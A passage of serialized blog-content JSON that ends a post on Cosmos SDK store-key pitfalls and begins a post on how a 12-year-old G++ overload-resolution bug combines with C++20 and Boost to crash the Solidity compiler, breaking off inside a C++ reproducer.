NewKVStoreKey",{"type":23,"tag":139,"props":87515,"children":87516},{"style":259},[87517],{"type":28,"value":262},{"type":23,"tag":139,"props":87519,"children":87520},{"style":294},[87521],{"type":28,"value":46395},{"type":23,"tag":139,"props":87523,"children":87524},{"style":259},[87525],{"type":28,"value":273},{"type":23,"tag":139,"props":87527,"children":87528},{"class":141,"line":178},[87529],{"type":23,"tag":139,"props":87530,"children":87531},{"style":259},[87532],{"type":28,"value":1335},{"type":23,"tag":139,"props":87534,"children":87535},{"class":141,"line":187},[87536],{"type":23,"tag":139,"props":87537,"children":87538},{"emptyLinePlaceholder":15},[87539],{"type":28,"value":184},{"type":23,"tag":139,"props":87541,"children":87542},{"class":141,"line":196},[87543,87547],{"type":23,"tag":139,"props":87544,"children":87545},{"style":319},[87546],{"type":28,"value":322},{"type":23,"tag":139,"props":87548,"children":87549},{"style":294},[87550],{"type":28,"value":87551}," keys\n",{"type":23,"tag":139,"props":87553,"children":87554},{"class":141,"line":205},[87555],{"type":23,"tag":139,"props":87556,"children":87557},{"style":259},[87558],{"type":28,"value":1897},{"type":23,"tag":24,"props":87560,"children":87561},{},[87562,87564,87569,87571,87576,87578,87583],{"type":28,"value":87563},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":23,"tag":135,"props":87565,"children":87567},{"className":87566},[],[87568],{"type":28,"value":76366},{"type":28,"value":87570}," will refuse to run if any ",{"type":23,"tag":135,"props":87572,"children":87574},{"className":87573},[],[87575],{"type":28,"value":82881},{"type":28,"value":87577}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":23,"tag":135,"props":87579,"children":87581},{"className":87580},[],[87582],{"type":28,"value":82881},{"type":28,"value":87584}," level.",{"type":23,"tag":24,"props":87586,"children":87587},{},[87588,87590,87597],{"type":28,"value":87589},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":23,"tag":64,"props":87591,"children":87594},{"href":87592,"rel":87593},"https://github.com/cosmos/cosmos-sdk/issues/12661",[68],[87595],{"type":28,"value":87596},"incorrect iterator behavior",{"type":28,"value":73},{"type":23,"tag":24,"props":87599,"children":87600},{},[87601,87603,87610],{"type":28,"value":87602},"Notably, gradual adoption of the ",{"type":23,"tag":64,"props":87604,"children":87607},{"href":87605,"rel":87606},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[68],[87608],{"type":28,"value":87609},"collections",{"type":28,"value":87611}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":23,"tag":41,"props":87613,"children":87614},{"id":26955},[87615],{"type":28,"value":16955},{"type":23,"tag":24,"props":87617,"children":87618},{},[87619],{"type":28,"value":87620},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":23,"tag":24,"props":87622,"children":87623},{},[87624],{"type":28,"value":87625},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":23,"tag":817,"props":87627,"children":87628},{},[87629],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":87631},[87632,87633,87636,87639,87642,87645,87648,87651],{"id":27037,"depth":151,"text":27040},{"id":73785,"depth":151,"text":73788,"children":87634},[87635],{"id":74590,"depth":160,"text":74593},{"id":75186,"depth":151,"text":75189,"children":87637},[87638],{"id":75835,"depth":160,"text":74593},{"id":76332,"depth":151,"text":76335,"children":87640},[87641],{"id":77632,"depth":160,"text":74593},{"id":78976,"depth":151,"text":78979,"children":87643},[87644],{"id":79514,"depth":160,"text":74593},{"id":81033,"depth":151,"text":81036,"children":87646},[87647],{"id":81913,"depth":160,"text":74593},{"id":82867,"depth":151,"text":82870,"children":87649},[87650],{"id":87293,"depth":160,"text":74593},{"id":26955,"depth":151,"text":16955},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":87656,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":87657,"description":87658,"author":87659,"image":87660,"date":87662,"tags":87663,"isFeatured":15,"onBlogPage":15,"body":87664,"_type":831,"_id":90373,"_source":833,"_file":90374,"_stem":90375,"_extension":836},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":87661,"height":13,"width":13},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[2475,18],{"type":20,"children":87665,"toc":90357},[87666,87671,87808,87813,87818,87823,87828,87941,87946,87951,87956,87996,88009,88014,88032,88037,88040,88046,88060,88073,88078,88091,88096,88108,88121,88126,88129,88135,88141,88198,88203,88209,88223,88258,88266,88274,88294,88300,88305,88745,88753,88797,88802,88810,88818,88857,88862,88870,88875,88878,88884,88890,88915,88927,88954,88987,88992,88995,89001,89020,89538,89551,89569,89592,89603,89608,89711,89716,89721,89735,89740,89816,89834,89839,89842,89848,89860,89872,90212,90217,90235,90240,90243,90249,90254,90272,90292,90295,90301,90320,90323,90327,90332,90343,90348,90353],{"type":23,"tag":24,"props":87667,"children":87668},{},[87669],{"type":28,"value":87670},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":23,"tag":128,"props":87672,"children":87674},{"code":87673,"language":2475,"meta":7,"className":2476,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n",[87675],{"type":23,"tag":135,"props":87676,"children":87677},{"__ignoreMap":7},[87678,87686,87704,87711,87728,87770,87794,87801],{"type":23,"tag":139,"props":87679,"children":87680},{"class":141,"line":142},[87681],{"type":23,"tag":139,"props":87682,"children":87683},{"style":958},[87684],{"type":28,"value":87685},"// SPDX-License-Identifier: UNLICENSED\n",{"type":23,"tag":139,"props":87687,"children":87688},{"class":141,"line":151},[87689,87694,87699],{"type":23,"tag":139,"props":87690,"children":87691},{"style":319},[87692],{"type":28,"value":87693},"pragma",{"type":23,"tag":139,"props":87695,"children":87696},{"style":279},[87697],{"type":28,"value":87698}," solidity",{"type":23,"tag":139,"props":87700,"children":87701},{"style":259},[87702],{"type":28,"value":87703}," ^0.8.25;\n",{"type":23,"tag":139,"props":87705,"children":87706},{"class":141,"line":160},[87707],{"type":23,"tag":139,"props":87708,"children":87709},{"emptyLinePlaceholder":15},[87710],{"type":28,"value":184},{"type":23,"tag":139,"props":87712,"children":87713},{"class":141,"line":169},[87714,87719,87724],{"type":23,"tag":139,"props":87715,"children":87716},{"style":279},[87717],{"type":28,"value":87718},"contract",{"type":23,"tag":139,"props":87720,"children":87721},{"style":305},[87722],{"type":28,"value":87723}," A",{"type":23,"tag":139,"props":87725,"children":87726},{"style":259},[87727],{"type":28,"value":1268},{"type":23,"tag":139,"props":87729,"children":87730},{"class":141,"line":178},[87731,87736,87741,87745,87749,87754,87758,87762,87766],{"type":23,"tag":139,"props":87732,"children":87733},{"style":279},[87734],{"type":28,"value":87735},"    function",{"type":23,"tag":139,"props":87737,"children":87738},{"style":245},[87739],{"type":28,"value":87740}," a",{"type":23,"tag":139,"props":87742,"children":87743},{"style":259},[87744],{"type":28,"value":12054},{"type":23,"tag":139,"props":87746,"children":87747},{"style":279},[87748],{"type":28,"value":59575},{"type":23,"tag":139,"props":87750,"children":87751},{"style":279},[87752],{"type":28,"value":87753}," pure",{"type":23,"tag":139,"props":87755,"children":87756},{"style":319},[87757],{"type":28,"value":73897},{"type":23,"tag":139,"props":87759,"children":87760},{"style":259},[87761],{"type":28,"value":1042},{"type":23,"tag":139,"props":87763,"children":87764},{"style":305},[87765],{"type":28,"value":44064},{"type":23,"tag":139,"props":87767,"children":87768},{"style":259},[87769],{"type":28,"value":12815},{"type":23,"tag":139,"props":87771,"children":87772},{"class":141,"line":187},[87773,87777,87781,87786,87790],{"type":23,"tag":139,"props":87774,"children":87775},{"style":319},[87776],{"type":28,"value":13755},{"type":23,"tag":139,"props":87778,"children":87779},{"style":1016},[87780],{"type":28,"value":2525},{"type":23,"tag":139,"props":87782,"children":87783},{"style":982},[87784],{"type":28,"value":87785}," **",{"type":23,"tag":139,"props":87787,"children":87788},{"style":1016},[87789],{"type":28,"value":5938},{"type":23,"tag":139,"props":87791,"children":87792},{"style":259},[87793],{"type":28,"value":995},{"type":23,"tag":139,"props":87795,"children":87796},{"class":141,"line":196},[87797],{"type":23,"tag":139,"props":87798,"children":87799},{"style":259},[87800],{"type":28,"value":1335},{"type":23,"tag":139,"props":87802,"children":87803},{"class":141,"line":205},[87804],{"type":23,"tag":139,"props":87805,"children":87806},{"style":259},[87807],{"type":28,"value":1897},{"type":23,"tag":24,"props":87809,"children":87810},{},[87811],{"type":28,"value":87812},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":23,"tag":24,"props":87814,"children":87815},{},[87816],{"type":28,"value":87817},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":23,"tag":24,"props":87819,"children":87820},{},[87821],{"type":28,"value":87822},"And yet, it crashes.",{"type":23,"tag":24,"props":87824,"children":87825},{},[87826],{"type":28,"value":87827},"Another minimal example?",{"type":23,"tag":128,"props":87829,"children":87831},{"code":87830,"language":2475,"meta":7,"className":2476,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[87832],{"type":23,"tag":135,"props":87833,"children":87834},{"__ignoreMap":7},[87835,87842,87857,87864,87879,87906,87927,87934],{"type":23,"tag":139,"props":87836,"children":87837},{"class":141,"line":142},[87838],{"type":23,"tag":139,"props":87839,"children":87840},{"style":958},[87841],{"type":28,"value":87685},{"type":23,"tag":139,"props":87843,"children":87844},{"class":141,"line":151},[87845,87849,87853],{"type":23,"tag":139,"props":87846,"children":87847},{"style":319},[87848],{"type":28,"value":87693},{"type":23,"tag":139,"props":87850,"children":87851},{"style":279},[87852],{"type":28,"value":87698},{"type":23,"tag":139,"props":87854,"children":87855},{"style":259},[87856],{"type":28,"value":87703},{"type":23,"tag":139,"props":87858,"children":87859},{"class":141,"line":160},[87860],{"type":23,"tag":139,"props":87861,"children":87862},{"emptyLinePlaceholder":15},[87863],{"type":28,"value":184},{"type":23,"tag":139,"props":87865,"children":87866},{"class":141,"line":169},[87867,87871,87875],{"type":23,"tag":139,"props":87868,"children":87869},{"style":279},[87870],{"type":28,"value":87718},{"type":23,"tag":139,"props":87872,"children":87873},{"style":305},[87874],{"type":28,"value":87723},{"type":23,"tag":139,"props":87876,"children":87877},{"style":259},[87878],{"type":28,"value":1268},{"type":23,"tag":139,"props":87880,"children":87881},{"class":141,"line":178},[87882,87886,87890,87894,87898,87902],{"type":23,"tag":139,"props":87883,"children":87884},{"style":279},[87885],{"type":28,"value":87735},{"type":23,"tag":139,"props":87887,"children":87888},{"style":245},[87889],{"type":28,"value":87740},{"type":23,"tag":139,"props":87891,"children":87892},{"style":259},[87893],{"type":28,"value":12054},{"type":23,"tag":139,"props":87895,"children":87896},{"style":279},[87897],{"type":28,"value":59575},{"type":23,"tag":139,"props":87899,"children":87900},{"style":279},[87901],{"type":28,"value":87753},{"type":23,"tag":139,"props":87903,"children":87904},{"style":259},[87905],{"type":28,"value":1268},{"type":23,"tag":139,"props":87907,"children":87908},{"class":141,"line":187},[87909,87914,87918,87922],{"type":23,"tag":139,"props":87910,"children":87911},{"style":305},[87912],{"type":28,"value":87913},"        uint256",{"type":23,"tag":139,"props":87915,"children":87916},{"style":259},[87917],{"type":28,"value":1723},{"type":23,"tag":139,"props":87919,"children":87920},{"style":1016},[87921],{"type":28,"value":647},{"type":23,"tag":139,"props":87923,"children":87924},{"style":259},[87925],{"type":28,"value":87926},"] data;\n",{"type":23,"tag":139,"props":87928,"children":87929},{"class":141,"line":196},[87930],{"type":23,"tag":139,"props":87931,"children":87932},{"style":259},[87933],{"type":28,"value":1335},{"type":23,"tag":139,"props":87935,"children":87936},{"class":141,"line":205},[87937],{"type":23,"tag":139,"props":87938,"children":87939},{"style":259},[87940],{"type":28,"value":1897},{"type":23,"tag":24,"props":87942,"children":87943},{},[87944],{"type":28,"value":87945},"Still crashes.",{"type":23,"tag":24,"props":87947,"children":87948},{},[87949],{"type":28,"value":87950},"So what’s going on?",{"type":23,"tag":24,"props":87952,"children":87953},{},[87954],{"type":28,"value":87955},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":23,"tag":128,"props":87957,"children":87959},{"code":87958,"language":27134,"meta":7,"className":27132,"style":7},"if (*lengthValue == 0) { ... }\n",[87960],{"type":23,"tag":135,"props":87961,"children":87962},{"__ignoreMap":7},[87963],{"type":23,"tag":139,"props":87964,"children":87965},{"class":141,"line":142},[87966,87970,87974,87978,87983,87987,87991],{"type":23,"tag":139,"props":87967,"children":87968},{"style":319},[87969],{"type":28,"value":13590},{"type":23,"tag":139,"props":87971,"children":87972},{"style":259},[87973],{"type":28,"value":1042},{"type":23,"tag":139,"props":87975,"children":87976},{"style":982},[87977],{"type":28,"value":2573},{"type":23,"tag":139,"props":87979,"children":87980},{"style":259},[87981],{"type":28,"value":87982},"lengthValue ",{"type":23,"tag":139,"props":87984,"children":87985},{"style":982},[87986],{"type":28,"value":6580},{"type":23,"tag":139,"props":87988,"children":87989},{"style":1016},[87990],{"type":28,"value":1019},{"type":23,"tag":139,"props":87992,"children":87993},{"style":259},[87994],{"type":28,"value":87995},") { ... }\n",{"type":23,"tag":24,"props":87997,"children":87998},{},[87999,88001,88007],{"type":28,"value":88000},"That single comparison — a ",{"type":23,"tag":135,"props":88002,"children":88004},{"className":88003},[],[88005],{"type":28,"value":88006},"boost::rational",{"type":28,"value":88008}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":23,"tag":24,"props":88010,"children":88011},{},[88012],{"type":28,"value":88013},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":23,"tag":14699,"props":88015,"children":88016},{},[88017,88022,88027],{"type":23,"tag":801,"props":88018,"children":88019},{},[88020],{"type":28,"value":88021},"A 12-year-old overload resolution bug in G++",{"type":23,"tag":801,"props":88023,"children":88024},{},[88025],{"type":28,"value":88026},"An outdated symmetric comparison pattern in Boost",{"type":23,"tag":801,"props":88028,"children":88029},{},[88030],{"type":28,"value":88031},"A subtle but impactful rewrite rule in C++20",{"type":23,"tag":24,"props":88033,"children":88034},{},[88035],{"type":28,"value":88036},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":23,"tag":16800,"props":88038,"children":88039},{},[],{"type":23,"tag":41,"props":88041,"children":88043},{"id":88042},"background-the-setup",[88044],{"type":28,"value":88045},"Background: The Setup",{"type":23,"tag":24,"props":88047,"children":88048},{},[88049,88051,88058],{"type":28,"value":88050},"If you follow the ",{"type":23,"tag":64,"props":88052,"children":88055},{"href":88053,"rel":88054},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[68],[88056],{"type":28,"value":88057},"Solidity build documentation (v0.8.30)",{"type":28,"value":88059},", you'll see it recommends:",{"type":23,"tag":14699,"props":88061,"children":88062},{},[88063,88068],{"type":23,"tag":801,"props":88064,"children":88065},{},[88066],{"type":28,"value":88067},"Boost ≥ 1.67",{"type":23,"tag":801,"props":88069,"children":88070},{},[88071],{"type":28,"value":88072},"GCC ≥ 11",{"type":23,"tag":24,"props":88074,"children":88075},{},[88076],{"type":28,"value":88077},"Ubuntu 22.04, for example, ships with:",{"type":23,"tag":14699,"props":88079,"children":88080},{},[88081,88086],{"type":23,"tag":801,"props":88082,"children":88083},{},[88084],{"type":28,"value":88085},"G++ 11.4.0",{"type":23,"tag":801,"props":88087,"children":88088},{},[88089],{"type":28,"value":88090},"Boost 1.74.0",{"type":23,"tag":24,"props":88092,"children":88093},{},[88094],{"type":28,"value":88095},"So far, so good.",{"type":23,"tag":24,"props":88097,"children":88098},{},[88099,88101,88106],{"type":28,"value":88100},"However, Solidity enabled ",{"type":23,"tag":56,"props":88102,"children":88103},{},[88104],{"type":28,"value":88105},"C++20",{"type":28,"value":88107}," in January 2025:",{"type":23,"tag":90,"props":88109,"children":88110},{},[88111],{"type":23,"tag":24,"props":88112,"children":88113},{},[88114],{"type":23,"tag":64,"props":88115,"children":88118},{"href":88116,"rel":88117},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[68],[88119],{"type":28,"value":88120},"Enable C++20 in Solidity",{"type":23,"tag":24,"props":88122,"children":88123},{},[88124],{"type":28,"value":88125},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":23,"tag":16800,"props":88127,"children":88128},{},[],{"type":23,"tag":41,"props":88130,"children":88132},{"id":88131},"part-i-a-12-year-old-g-bug-in-overload-resolution",[88133],{"type":28,"value":88134},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":23,"tag":666,"props":88136,"children":88138},{"id":88137},"whats-overload-resolution",[88139],{"type":28,"value":88140},"What’s Overload Resolution?",{"type":23,"tag":24,"props":88142,"children":88143},{},[88144,88146,88152,88154,88160,88162,88167,88169,88174,88176,88182,88184,88189,88190,88196],{"type":28,"value":88145},"In C++, when you write an expression like ",{"type":23,"tag":135,"props":88147,"children":88149},{"className":88148},[],[88150],{"type":28,"value":88151},"a == b",{"type":28,"value":88153},", the compiler chooses among available ",{"type":23,"tag":135,"props":88155,"children":88157},{"className":88156},[],[88158],{"type":28,"value":88159},"operator==",{"type":28,"value":88161}," implementations by comparing their ",{"type":23,"tag":56,"props":88163,"children":88164},{},[88165],{"type":28,"value":88166},"match quality",{"type":28,"value":88168},". A ",{"type":23,"tag":56,"props":88170,"children":88171},{},[88172],{"type":28,"value":88173},"member function",{"type":28,"value":88175}," like ",{"type":23,"tag":135,"props":88177,"children":88179},{"className":88178},[],[88180],{"type":28,"value":88181},"a.operator==(b)",{"type":28,"value":88183}," usually has higher priority than a ",{"type":23,"tag":56,"props":88185,"children":88186},{},[88187],{"type":28,"value":88188},"non-member function",{"type":28,"value":88175},{"type":23,"tag":135,"props":88191,"children":88193},{"className":88192},[],[88194],{"type":28,"value":88195},"operator==(a, b)",{"type":28,"value":88197}," — unless the types differ too much or are ambiguous.",{"type":23,"tag":24,"props":88199,"children":88200},{},[88201],{"type":28,"value":88202},"That’s the rule. But G++ didn’t always follow it.",{"type":23,"tag":666,"props":88204,"children":88206},{"id":88205},"the-bug",[88207],{"type":28,"value":88208},"The Bug",{"type":23,"tag":24,"props":88210,"children":88211},{},[88212,88214,88221],{"type":28,"value":88213},"In 2012, a bug was filed: ",{"type":23,"tag":64,"props":88215,"children":88218},{"href":88216,"rel":88217},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[68],[88219],{"type":28,"value":88220},"GCC Bug 53499 – overload resolution favors non-member function",{"type":28,"value":88222},". The issue? In expressions where:",{"type":23,"tag":14699,"props":88224,"children":88225},{},[88226,88246],{"type":23,"tag":801,"props":88227,"children":88228},{},[88229,88231,88237,88239,88244],{"type":28,"value":88230},"A class ",{"type":23,"tag":135,"props":88232,"children":88234},{"className":88233},[],[88235],{"type":28,"value":88236},"rational\u003CT>",{"type":28,"value":88238}," has a templated ",{"type":23,"tag":135,"props":88240,"children":88242},{"className":88241},[],[88243],{"type":28,"value":88159},{"type":28,"value":88245}," member function",{"type":23,"tag":801,"props":88247,"children":88248},{},[88249,88251,88257],{"type":28,"value":88250},"There's also a more generic free ",{"type":23,"tag":135,"props":88252,"children":88254},{"className":88253},[],[88255],{"type":28,"value":88256},"operator==(rational\u003CT>, U)",{"type":28,"value":36104},{"type":23,"tag":24,"props":88259,"children":88260},{},[88261],{"type":23,"tag":56,"props":88262,"children":88263},{},[88264],{"type":28,"value":88265},"Clang correctly chooses the member function.",{"type":23,"tag":24,"props":88267,"children":88268},{},[88269],{"type":23,"tag":56,"props":88270,"children":88271},{},[88272],{"type":28,"value":88273},"G++ (before v14) chooses the non-member function.",{"type":23,"tag":24,"props":88275,"children":88276},{},[88277,88279,88284,88286,88293],{"type":28,"value":88278},"Why? Because G++ mishandles ",{"type":23,"tag":56,"props":88280,"children":88281},{},[88282],{"type":28,"value":88283},"templated conversion + non-exact match",{"type":28,"value":88285},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":23,"tag":64,"props":88287,"children":88290},{"href":88288,"rel":88289},"https://cplusplus.github.io/CWG/issues/532.html",[68],[88291],{"type":28,"value":88292},"CWG532: Member/nonmember operator template partial ordering",{"type":28,"value":73},{"type":23,"tag":666,"props":88295,"children":88297},{"id":88296},"a-minimal-reproducer",[88298],{"type":28,"value":88299},"A Minimal Reproducer",{"type":23,"tag":24,"props":88301,"children":88302},{},[88303],{"type":28,"value":88304},"Let’s see this in action:",{"type":23,"tag":128,"props":88306,"children":88308},{"code":88307,"language":27134,"meta":7,"className":27132,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[88309],{"type":23,"tag":135,"props":88310,"children":88311},{"__ignoreMap":7},[88312,88325,88332,88357,88373,88381,88405,88450,88478,88493,88500,88507,88514,88550,88619,88644,88659,88666,88673,88689,88714,88738],{"type":23,"tag":139,"props":88313,"children":88314},{"class":141,"line":142},[88315,88320],{"type":23,"tag":139,"props":88316,"children":88317},{"style":319},[88318],{"type":28,"value":88319},"#include",{"type":23,"tag":139,"props":88321,"children":88322},{"style":265},[88323],{"type":28,"value":88324}," \u003Ciostream>\n",{"type":23,"tag":139,"props":88326,"children":88327},{"class":141,"line":151},[88328],{"type":23,"tag":139,"props":88329,"children":88330},{"emptyLinePlaceholder":15},[88331],{"type":28,"value":184},{"type":23,"tag":139,"props":88333,"children":88334},{"class":141,"line":160},[88335,88339,88343,88348,88353],{"type":23,"tag":139,"props":88336,"children":88337},{"style":279},[88338],{"type":28,"value":64117},{"type":23,"tag":139,"props":88340,"children":88341},{"style":259},[88342],{"type":28,"value":6724},{"type":23,"tag":139,"props":88344,"children":88345},{"style":279},[88346],{"type":28,"value":88347},"typename",{"type":23,"tag":139,"props":88349,"children":88350},{"style":305},[88351],{"type":28,"value":88352}," IntType",{"type":23,"tag":139,"props":88354,"children":88355},{"style":259},[88356],{"type":28,"value":3995},{"type":23,"tag":139,"props":88358,"children":88359},{"class":141,"line":169},[88360,88364,88369],{"type":23,"tag":139,"props":88361,"children":88362},{"style":279},[88363],{"type":28,"value":68312},{"type":23,"tag":139,"props":88365,"children":88366},{"style":305},[88367],{"type":28,"value":88368}," rational",{"type":23,"tag":139,"props":88370,"children":88371},{"style":259},[88372],{"type":28,"value":1268},{"type":23,"tag":139,"props":88374,"children":88375},{"class":141,"line":178},[88376],{"type":23,"tag":139,"props":88377,"children":88378},{"style":279},[88379],{"type":28,"value":88380},"public:\n",{"type":23,"tag":139,"props":88382,"children":88383},{"class":141,"line":187},[88384,88389,88393,88397,88401],{"type":23,"tag":139,"props":88385,"children":88386},{"style":279},[88387],{"type":28,"value":88388},"    template",{"type":23,"tag":139,"props":88390,"children":88391},{"style":259},[88392],{"type":28,"value":6724},{"type":23,"tag":139,"props":88394,"children":88395},{"style":279},[88396],{"type":28,"value":68312},{"type":23,"tag":139,"props":88398,"children":88399},{"style":305},[88400],{"type":28,"value":3921},{"type":23,"tag":139,"props":88402,"children":88403},{"style":259},[88404],{"type":28,"value":3995},{"type":23,"tag":139,"props":88406,"children":88407},{"class":141,"line":196},[88408,88412,88417,88422,88426,88430,88434,88438,88442,88446],{"type":23,"tag":139,"props":88409,"children":88410},{"style":279},[88411],{"type":28,"value":44369},{"type":23,"tag":139,"props":88413,"children":88414},{"style":279},[88415],{"type":28,"value":88416}," operator",{"type":23,"tag":139,"props":88418,"children":88419},{"style":259},[88420],{"type":28,"value":88421},"==(",{"type":23,"tag":139,"props":88423,"children":88424},{"style":279},[88425],{"type":28,"value":7663},{"type":23,"tag":139,"props":88427,"children":88428},{"style":305},[88429],{"type":28,"value":3921},{"type":23,"tag":139,"props":88431,"children":88432},{"style":279},[88433],{"type":28,"value":1085},{"type":23,"tag":139,"props":88435,"children":88436},{"style":294},[88437],{"type":28,"value":1378},{"type":23,"tag":139,"props":88439,"children":88440},{"style":259},[88441],{"type":28,"value":1062},{"type":23,"tag":139,"props":88443,"children":88444},{"style":279},[88445],{"type":28,"value":7663},{"type":23,"tag":139,"props":88447,"children":88448},{"style":259},[88449],{"type":28,"value":1268},{"type":23,"tag":139,"props":88451,"children":88452},{"class":141,"line":205},[88453,88458,88463,88468,88473],{"type":23,"tag":139,"props":88454,"children":88455},{"style":259},[88456],{"type":28,"value":88457},"        std::cout ",{"type":23,"tag":139,"props":88459,"children":88460},{"style":982},[88461],{"type":28,"value":88462},"\u003C\u003C",{"type":23,"tag":139,"props":88464,"children":88465},{"style":265},[88466],{"type":28,"value":88467}," \"clang++ resolved member\"",{"type":23,"tag":139,"props":88469,"children":88470},{"style":982},[88471],{"type":28,"value":88472}," \u003C\u003C",{"type":23,"tag":139,"props":88474,"children":88475},{"style":259},[88476],{"type":28,"value":88477}," std::endl;\n",{"type":23,"tag":139,"props":88479,"children":88480},{"class":141,"line":214},[88481,88485,88489],{"type":23,"tag":139,"props":88482,"children":88483},{"style":319},[88484],{"type":28,"value":13755},{"type":23,"tag":139,"props":88486,"children":88487},{"style":279},[88488],{"type":28,"value":10480},{"type":23,"tag":139,"props":88490,"children":88491},{"style":259},[88492],{"type":28,"value":995},{"type":23,"tag":139,"props":88494,"children":88495},{"class":141,"line":1320},[88496],{"type":23,"tag":139,"props":88497,"children":88498},{"style":259},[88499],{"type":28,"value":1335},{"type":23,"tag":139,"props":88501,"children":88502},{"class":141,"line":1329},[88503],{"type":23,"tag":139,"props":88504,"children":88505},{"style":259},[88506],{"type":28,"value":14589},{"type":23,"tag":139,"props":88508,"children":88509},{"class":141,"line":1580},[88510],{"type":23,"tag":139,"props":88511,"children":88512},{"emptyLinePlaceholder":15},[88513],{"type":28,"value":184},{"type":23,"tag":139,"props":88515,"children":88516},{"class":141,"line":1597},[88517,88521,88525,88529,88534,88538,88542,88546],{"type":23,"tag":139,"props":88518,"children":88519},{"style":279},[88520],{"type":28,"value":64117},{"type":23,"tag":139,"props":88522,"children":88523},{"style":259},[88524],{"type":28,"value":6724},{"type":23,"tag":139,"props":88526,"children":88527},{"style":279},[88528],{"type":28,"value":68312},{"type":23,"tag":139,"props":88530,"children":88531},{"style":305},[88532],{"type":28,"value":88533}," Arg",{"type":23,"tag":139,"props":88535,"children":88536},{"style":259},[88537],{"type":28,"value":1052},{"type":23,"tag":139,"props":88539,"children":88540},{"style":279},[88541],{"type":28,"value":68312},{"type":23,"tag":139,"props":88543,"children":88544},{"style":305},[88545],{"type":28,"value":88352},{"type":23,"tag":139,"props":88547,"children":88548},{"style":259},[88549],{"type":28,"value":3995},{"type":23,"tag":139,"props":88551,"children":88552},{"class":141,"line":1614},[88553,88557,88561,88565,88569,88573,88577,88582,88586,88590,88594,88598,88602,88606,88610,88615],{"type":23,"tag":139,"props":88554,"children":88555},{"style":279},[88556],{"type":28,"value":308},{"type":23,"tag":139,"props":88558,"children":88559},{"style":279},[88560],{"type":28,"value":88416},{"type":23,"tag":139,"props":88562,"children":88563},{"style":259},[88564],{"type":28,"value":88421},{"type":23,"tag":139,"props":88566,"children":88567},{"style":279},[88568],{"type":28,"value":7663},{"type":23,"tag":139,"props":88570,"children":88571},{"style":305},[88572],{"type":28,"value":88368},{"type":23,"tag":139,"props":88574,"children":88575},{"style":259},[88576],{"type":28,"value":3808},{"type":23,"tag":139,"props":88578,"children":88579},{"style":305},[88580],{"type":28,"value":88581},"IntType",{"type":23,"tag":139,"props":88583,"children":88584},{"style":259},[88585],{"type":28,"value":8471},{"type":23,"tag":139,"props":88587,"children":88588},{"style":279},[88589],{"type":28,"value":1085},{"type":23,"tag":139,"props":88591,"children":88592},{"style":294},[88593],{"type":28,"value":87740},{"type":23,"tag":139,"props":88595,"children":88596},{"style":259},[88597],{"type":28,"value":1052},{"type":23,"tag":139,"props":88599,"children":88600},{"style":279},[88601],{"type":28,"value":7663},{"type":23,"tag":139,"props":88603,"children":88604},{"style":305},[88605],{"type":28,"value":88533},{"type":23,"tag":139,"props":88607,"children":88608},{"style":279},[88609],{"type":28,"value":1085},{"type":23,"tag":139,"props":88611,"children":88612},{"style":294},[88613],{"type":28,"value":88614}," 